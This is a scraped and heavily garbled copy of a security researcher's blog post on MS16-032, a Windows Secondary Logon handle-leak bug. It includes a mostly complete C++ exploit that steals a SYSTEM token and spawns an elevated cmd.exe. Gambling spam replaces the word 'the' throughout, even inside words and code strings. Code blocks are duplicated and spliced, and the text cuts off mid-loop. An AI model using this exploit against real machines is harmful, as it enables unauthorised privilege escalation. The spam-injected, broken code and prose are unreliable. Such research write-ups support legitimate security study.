Posted by logged on user, James Forshaw.
Once in awhile you’ll find a bug that allows you to leak a handle opened in a privileged process into a lower privileged process. I found just such a bug in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Secondary Logon service on Windows, which was fixed this month as MS16-032. The bug allowed you to leak a thread handle with full access. This blog post is about how you could use that thread handle to gain system privileges without resorting to traditional memory corruption techniques.
The Bug Itself
You can find cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue here. The Secondary Logon service is present on all modern versions of Windows, at least back to XP. The service exposes an RPC endpoint that allows a normal process to create new processes with different tokens. From an API perspective this functionality is exposed through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateProcessWithTokenW and CreateProcessWithLogonW APIs. These act very similar to CreateProcessAsUser, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 differences being that instead of SeAssignPrimaryTokenPrivilege being needed (with AsUser) you instead need SeImpersonatePrivilege for Token. The Logon function is a convenience which takes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 logon credentials, calls LsaLogonUser and uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resulting token to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process.
These APIs take cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same parameters as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 normal CreateProcess including passing new handles for stdin/stdout/stderror. The passing of handles allows a console process’s output and input to be redirected to ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r files. When creating a new process cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se handles are normally transferred to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process via handle inheritance. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Secondary Logon case it can’t do this as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service is not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 real parent of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process so instead it manually duplicates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handles from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specified parent into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DuplicateHandle API with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code:
// Contains, hStdInput, hStdOutout and hStdError.
HANDLE StandardHandles[3] = {...};
// Location of standard handle in target process PEB.
PHANDLE HandleAddress = ...;
for(int i = 0; i < 3; ++i) {
if (StandardHandles[i]) {
if (StandardHandles[i] & 0x10000003) != 3 ) {
HANDLE TargetHandle;
if (!DuplicateHandle(ParentProcess, StandardHandles[i],
TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS))
return ERROR;
if (!WriteProcessMemory(TargetProcess, &HandleAddress[i],
&TargetHandle, sizeof(TargetHandle)))
return ERROR;
}
}
}
HANDLE StandardHandles[3] = {...};
// Location of standard handle in target process PEB.
PHANDLE HandleAddress = ...;
for(int i = 0; i < 3; ++i) {
if (StandardHandles[i]) {
if (StandardHandles[i] & 0x10000003) != 3 ) {
HANDLE TargetHandle;
if (!DuplicateHandle(ParentProcess, StandardHandles[i],
TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS))
return ERROR;
if (!WriteProcessMemory(TargetProcess, &HandleAddress[i],
&TargetHandle, sizeof(TargetHandle)))
return ERROR;
}
}
}
The code duplicates cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parent process (which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC) into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target process. It cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n writes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 duplicated handle’s value into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process’s PEB ProcessParameters structure where it can be extracted using APIs such as GetStdHandle. The handle value looks to be sanitized in some way: it’s checking that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle’s lower 2 bits are not set (in NT handles are always multiples of 4), but it’s also checking that bit 29 is NOT set.
The NT kernel special cases two handle values to make development easier and presumably for performance reasons. This allows a process to refer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current process or thread using a pseudo handle, instead of explicitly opening cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 object by its PID/TID and going through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 whole access procedure (which you’d hope would succeed anyway). A developer would normally access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se pseudo handles through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 GetCurrentProcess and GetCurrentThread APIs (which are typically just defines). We can see cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 special casing in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code:
NTSTATUS ObpReferenceProcessObjectByHandle(HANDLE SourceHandle,
EPROCESS* SourceProcess,
...,
...,
PVOID* Object,
ACCESS_MASK* GrantedAccess) {
if ((INT_PTR)SourceHandle < 0) {
if (SourceHandle == (HANDLE)-1 ) {
*GrantedAccess = PROCESS_ALL_ACCESS;
*Object = SourceProcess;
return STATUS_SUCCESS;
} else if (SourceHandle == (HANDLE)-2) {
*GrantedAccess = THREAD_ALL_ACCESS;
*Object = KeGetCurrentThread();
return STATUS_SUCCESS;
}
return STATUS_INVALID_HANDLE;
// Get from process handle table.
}
if ((INT_PTR)SourceHandle < 0) {
if (SourceHandle == (HANDLE)-1 ) {
*GrantedAccess = PROCESS_ALL_ACCESS;
*Object = SourceProcess;
return STATUS_SUCCESS;
} else if (SourceHandle == (HANDLE)-2) {
*GrantedAccess = THREAD_ALL_ACCESS;
*Object = KeGetCurrentThread();
return STATUS_SUCCESS;
}
return STATUS_INVALID_HANDLE;
// Get from process handle table.
}
Now we can understand why cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code was checking for bit 29. It ensures that if eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lower two bits are set (which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pseudo handles -1 and -2) but if a higher bit is also set it’s considered a valid handle. This is where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug resides. We can see from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel code that if -1 is specified cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n a full access handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source process is created. This isn’t that useful as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source process is already under our control and is unprivileged. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, if -2 is specified cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n a full access handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current thread is created, this thread is actually in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Secondary Logon service, and it’ll be one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Thread Pool handles used to service cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC request. This is obviously bad.
The only problem is how can we call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateProcessWithToken/Logon API as a normal user? The Token variant is out as that requires cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller to have SeImpersonatePrivilege, but you’d assume that Logon requires a valid user account and password, which is okay if we’re a malicious user, but not so much if this was being exploited by malware. It turns out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a special flag, which means we don’t need to provide valid credentials, LOGON_NETCREDENTIALS_ONLY. When this is used with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Logon API cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 credentials are just used when connecting to network resources and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main token is based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller. This allows us to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process without special privileges or needing a user’s password. Putting it togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r we can capture a thread handle using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code:
HANDLE GetThreadHandle() {
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
CreateProcessWithLogonW(L"test", L"test", L"test",
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
CreateProcessWithLogonW(L"test", L"test", L"test",
LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe",
CREATE_SUSPENDED, nullptr, nullptr,
&startInfo, &procInfo);
HANDLE hThread = nullptr;
DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
return hThread;
}
HANDLE hThread = nullptr;
DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
return hThread;
}
Exploitation
On to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation. It’s fortunate that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle is to a Thread Pool thread, because this means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread will be kept around to service ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r RPC requests. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread only existed to service one request and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n terminated, it would be a lot trickier to exploit.
The first thing you might think to do to exploit this leaked handle is set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread context. For debugging purposes, or to allow a process to support arbitrary restarting of execution, a thread supports cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function SetThreadContext. This sets cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 saved register state of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread to values specified in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CONTEXT structure, including registers such as RIP and RSP, and when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread resumes execution it will start executing from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specified location. This would seem to be an easy win. It’s easy to get execution but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are a few problems with it:
- It only changes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user-mode execution context. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread is in a non-alertable wait state, it won’t start executing until some undetermined point in time.
- As we don’t have a process handle we can’t easily inject memory into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process which can contain our shell code, meaning we’re almost certainly going to have to do some ROP to defeat DEP.
- While we could inject memory into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process (say sending a large buffer over RPC) we might not be able to know where that is, especially on 64-bit platforms with a large address space. Admittedly we do have an information leak because we can call GetThreadContext but that might not give us enough.
- If a mistake is made cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service crashes, which we would like to avoid.
While it’s 100% possible to exploit this using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SetThreadContext approach, it’s a pain and if we can avoid building ROP chains all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 better. So instead I want a logical exploit, and in this case cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 nature of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service works to our advantage.
The entire point of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Secondary Logon service is to create new processes with arbitrary tokens, so if we could somehow trick cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service to using a privileged access token and bypass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security restrictions imposed, we should be able to elevate our privileges. How might we go about this? Let’s look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sequence of operations cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service uses to implement CreateProcessWithLogon.
RpcImpersonateClient();
Process = OpenProcess(CallingProcess);
Token = OpenThreadToken(Process)
If Token IL < MEDIUM_IL Then Error;
RpcRevertToSelf();
RpcImpersonateClient();
Token = LsaLogonUser(...);
RpcRevertToSelf();
ImpersonateLoggedOnUser(Token);
CreateProcessAsUser(Token, ...);
RevertToSelf();
This code uses impersonation a lot, and as we’ve got a thread handle with THREAD_IMPERSONATE access we can set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 thread’s impersonation token. If we set a privileged impersonation token when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service is calling LsaLogonUser we’d get back a copy of that token which will be used to create our arbitrary process.
It would be much simpler if we could just clear cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 impersonation token (as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it’d fallback to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 primary system token), but unfortunately cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IL check gets in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way. If we cleared cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wrong time OpenThreadToken would fail and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Integrity Level (IL) check would deny access. Instead we’re going to have to get a privileged impersonation token from somewhere. There’s numerous ways we could do this, such as negotiating NTLM for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token over WebDAV but that just adds additional complexity. Instead, can we get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token without furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r resources?
There’s an undocumented NT system call NtImpersonateThread which will help us.
NTSTATUS NtImpersonateThread(HANDLE ThreadHandle,
HANDLE ThreadToImpersonate,
PSECURITY_QUALITY_OF_SERVICE SecurityQoS)
The system call allows you to apply an impersonation token to a thread based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 impersonation state of anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thread. If cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 source thread doesn’t have an impersonation token cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel goes and builds one from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 associated process’ primary token. Even though it doesn’t obviously make sense, it’s possible to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thread handle for both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target and source of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 impersonation. As this is a system service this means we get a system impersonation token. We can use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code to get a system token for use:
HANDLE GetSystemToken(HANDLE hThread) {
// Suspend thread just in case.
SuspendThread(hThread);
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
// Clear existing thread token.
SetThreadToken(&hThread, nullptr);
NtImpersonateThread(hThread, hThread, &sqos);
// Open a new copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token.
HANDLE hToken = nullptr;
OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken);
ResumeThread(hThread);
return hToken;
}
// Suspend thread just in case.
SuspendThread(hThread);
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
// Clear existing thread token.
SetThreadToken(&hThread, nullptr);
NtImpersonateThread(hThread, hThread, &sqos);
// Open a new copy of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token.
HANDLE hToken = nullptr;
OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken);
ResumeThread(hThread);
return hToken;
}
We now have almost everything we need to complete cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit. We spin up a thread which will repeatedly set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system impersonation token to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 leaked thread handle. In anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thread we call CreateProcessWithLogon until cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process that’s created has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 privileged token. We can determine whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r a privileged token has been used by just inspecting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 primary token. By default we won’t be able to open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 token at all, so if we get ERROR_ACCESS_DENIED, we know we’ve succeeded.
One problem with this simple approach is that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service has a number of Thread Pool threads available to it, so we’re not guaranteed to call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service and get it dispatched to a specific thread. To counter this we can run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original exploit multiple times to gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r as many different Thread Pool handles as we can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n run multiple token setting threads. That way as long as we gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365red a handle for all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 possible threads (and new ones aren’t created too often) we should stand a reasonable chance of success.
We could probably improve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 reliability of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 race by fiddling with thread priorities, but it seems to work well enough as it shouldn’t crash and failure just results in a new process being created with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user’s unprivileged token. It’s also worth noting that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no point trying to call CreateProcessWithLogon in multiple threads as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service holds a global lock on itself to prevent re-entrancy.
I’ve attached cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 working exploit to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of this blog post. You need to ensure that it is built for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct bitness of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 platform, ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC call will truncate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handle values. This is because handle values are pointers, which are unsigned, so when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC routines convert cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32 bit handles to 64 bit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are zero extended. As (DWORD)-2 does not equal (DWORD64)-2 it will fail with an invalid handle error.
Conclusion
Hopefully I’ve demonstrated an interesting way of exploiting a leaked thread handle in a privileged service. Of course it just happened that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 leaked thread handle was used for a service which directly gave us control over process creation, but this same technique could be used for creating arbitrary files or ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r resources. Just because you can exploit a vulnerability like this using memory corruption techniques, it doesn’t mean that you have to.
Example Code
#include
#include
#include
#include
#define MAX_PROCESSES 1000
HANDLE GetThreadHandle()
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
if (CreateProcessWithLogonW(L"test", L"test", L"test",
#include
#include
#include
#define MAX_PROCESSES 1000
HANDLE GetThreadHandle()
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
startInfo.hStdInput = GetCurrentThread();
startInfo.hStdOutput = GetCurrentThread();
startInfo.hStdError = GetCurrentThread();
startInfo.dwFlags = STARTF_USESTDHANDLES;
if (CreateProcessWithLogonW(L"test", L"test", L"test",
LOGON_NETCREDENTIALS_ONLY,
nullptr, L"cmd.exe", CREATE_SUSPENDED,
nullptr, L"cmd.exe", CREATE_SUSPENDED,
nullptr, nullptr, &startInfo, &procInfo))
{
HANDLE hThread;
BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
{
HANDLE hThread;
BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
DWORD dwLastError = GetLastError();
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
if (!res)
{
printf("Error duplicating handle %d\n", dwLastError);
exit(1);
}
return hThread;
}
else
{
printf("Error: %d\n", GetLastError());
exit(1);
}
}
typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,
DWORD dwLastError = GetLastError();
TerminateProcess(procInfo.hProcess, 1);
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
if (!res)
{
printf("Error duplicating handle %d\n", dwLastError);
exit(1);
}
return hThread;
}
else
{
printf("Error: %d\n", GetLastError());
exit(1);
}
}
typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,
HANDLE ThreadToImpersonate,
PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);
HANDLE GetSystemToken(HANDLE hThread)
{
SuspendThread(hThread);
NtImpersonateThread* fNtImpersonateThread =
HANDLE GetSystemToken(HANDLE hThread)
{
SuspendThread(hThread);
NtImpersonateThread* fNtImpersonateThread =
(NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtImpersonateThread");
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
SetThreadToken(&hThread, nullptr);
NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
if (status != 0)
{
ResumeThread(hThread);
printf("Error impersonating thread %08X\n", status);
exit(1);
}
HANDLE hToken;
if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
SetThreadToken(&hThread, nullptr);
NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
if (status != 0)
{
ResumeThread(hThread);
printf("Error impersonating thread %08X\n", status);
exit(1);
}
HANDLE hToken;
if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
FALSE, &hToken))
{
printf("Error opening thread token: %d\n", GetLastError());
ResumeThread(hThread);
exit(1);
}
ResumeThread(hThread);
return hToken;
}
struct ThreadArg
{
HANDLE hThread;
HANDLE hToken;
};
DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
ThreadArg* arg = (ThreadArg*)lpArg;
while (true)
{
if (!SetThreadToken(&arg->hThread, arg->hToken))
{
printf("Error setting token: %d\n", GetLastError());
break;
}
}
return 0;
}
int main()
{
std::map<DWORD, HANDLE> thread_handles;
printf("Gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ring thread handles\n");
for (int i = 0; i < MAX_PROCESSES; ++i) {
HANDLE hThread = GetThreadHandle();
DWORD dwTid = GetThreadId(hThread);
if (!dwTid)
{
printf("Handle not a thread: %d\n", GetLastError());
exit(1);
}
if (thread_handles.find(dwTid) == thread_handles.end())
{
thread_handles[dwTid] = hThread;
}
else
{
CloseHandle(hThread);
}
}
printf("Done, got %zd handles\n", thread_handles.size());
if (thread_handles.size() > 0)
{
HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
printf("System Token: %p\n", hToken);
for (const auto& pair : thread_handles)
{
ThreadArg* arg = new ThreadArg;
arg->hThread = pair.second;
DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);
CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
}
while (true)
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
if (CreateProcessWithLogonW(L"test", L"test", L"test",
{
printf("Error opening thread token: %d\n", GetLastError());
ResumeThread(hThread);
exit(1);
}
ResumeThread(hThread);
return hToken;
}
struct ThreadArg
{
HANDLE hThread;
HANDLE hToken;
};
DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
ThreadArg* arg = (ThreadArg*)lpArg;
while (true)
{
if (!SetThreadToken(&arg->hThread, arg->hToken))
{
printf("Error setting token: %d\n", GetLastError());
break;
}
}
return 0;
}
int main()
{
std::map<DWORD, HANDLE> thread_handles;
printf("Gacá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ring thread handles\n");
for (int i = 0; i < MAX_PROCESSES; ++i) {
HANDLE hThread = GetThreadHandle();
DWORD dwTid = GetThreadId(hThread);
if (!dwTid)
{
printf("Handle not a thread: %d\n", GetLastError());
exit(1);
}
if (thread_handles.find(dwTid) == thread_handles.end())
{
thread_handles[dwTid] = hThread;
}
else
{
CloseHandle(hThread);
}
}
printf("Done, got %zd handles\n", thread_handles.size());
if (thread_handles.size() > 0)
{
HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
printf("System Token: %p\n", hToken);
for (const auto& pair : thread_handles)
{
ThreadArg* arg = new ThreadArg;
arg->hThread = pair.second;
DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);
CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
}
while (true)
{
PROCESS_INFORMATION procInfo = {};
STARTUPINFO startInfo = {};
startInfo.cb = sizeof(startInfo);
if (CreateProcessWithLogonW(L"test", L"test", L"test",
LOGON_NETCREDENTIALS_ONLY, nullptr,
L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,
L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,
&startInfo, &procInfo))
{
HANDLE hProcessToken;
// If we can't get process token good chance it's a system process.
if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED,
{
HANDLE hProcessToken;
// If we can't get process token good chance it's a system process.
if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED,
&hProcessToken))
{
printf("Couldn't open process token %d\n", GetLastError());
ResumeThread(procInfo.hThread);
break;
}
// Just to be sure let's check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process token isn't elevated.
TOKEN_ELEVATION elevation;
DWORD dwSize = 0;
if (!GetTokenInformation(hProcessToken, TokenElevation,
&elevation, sizeof(elevation), &dwSize)){
printf("Couldn't open process token %d\n", GetLastError());
ResumeThread(procInfo.hThread);
break;
}
// Just to be sure let's check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process token isn't elevated.
TOKEN_ELEVATION elevation;
DWORD dwSize = 0;
if (!GetTokenInformation(hProcessToken, TokenElevation,
{
printf("Couldn't get token elevation: %d\n", GetLastError());
ResumeThread(procInfo.hThread);
break;
}
if (elevation.TokenIsElevated)
{
printf("Created elevated process\n");
break;
}
TerminateProcess(procInfo.hProcess, 1);
